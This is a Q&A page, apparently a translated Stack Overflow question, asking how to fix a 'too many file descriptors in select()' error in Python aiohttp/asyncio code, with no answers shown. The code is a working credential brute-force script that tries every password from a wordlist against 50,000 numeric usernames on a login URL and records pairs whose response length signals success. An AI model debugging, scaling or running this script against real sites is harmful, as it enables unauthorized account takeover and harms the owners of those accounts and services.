使用aiohttp和asyncio错误:ValueError:select()中的文件描述符太多

时间:2017-09-18 06:41:16

标签: python python-asyncio aiohttp

我正在使用aiohttp和ASYNCIO来准备一个运行过程错误的程序,其中包含以下信息:

ValueError: too many file descriptors in select()

我该如何解决这个方法?

import aiohttp
import asyncio
import time
timeclock=time.clock()
pwd_all=[]
with open("pwd.txt","r+",encoding='utf-8') as fob:
    for b in fob.readlines():
        pwd_all.append(b.strip())
oklist=[]
async def hello(name):
    async with aiohttp.ClientSession() as session:
        for pwd in pwd_all:
            payload={'name':name,'password':pwd}
            async with session.post('https://www.xxx.url',data=payload) as resp:
                backdata=await resp.text()
                if len(backdata)==376:
                    oklist.append("{}:{}".format(name,pwd))
                    break
loop = asyncio.get_event_loop()
tasks = [hello(str(uname)) for uname in range(10000,60000)]
loop.run_until_complete(asyncio.wait(tasks))
loop.close()
print(oklist)
print("time is:"+str(time.clock()-timeclock))

run error image

0 个答案:

没有答案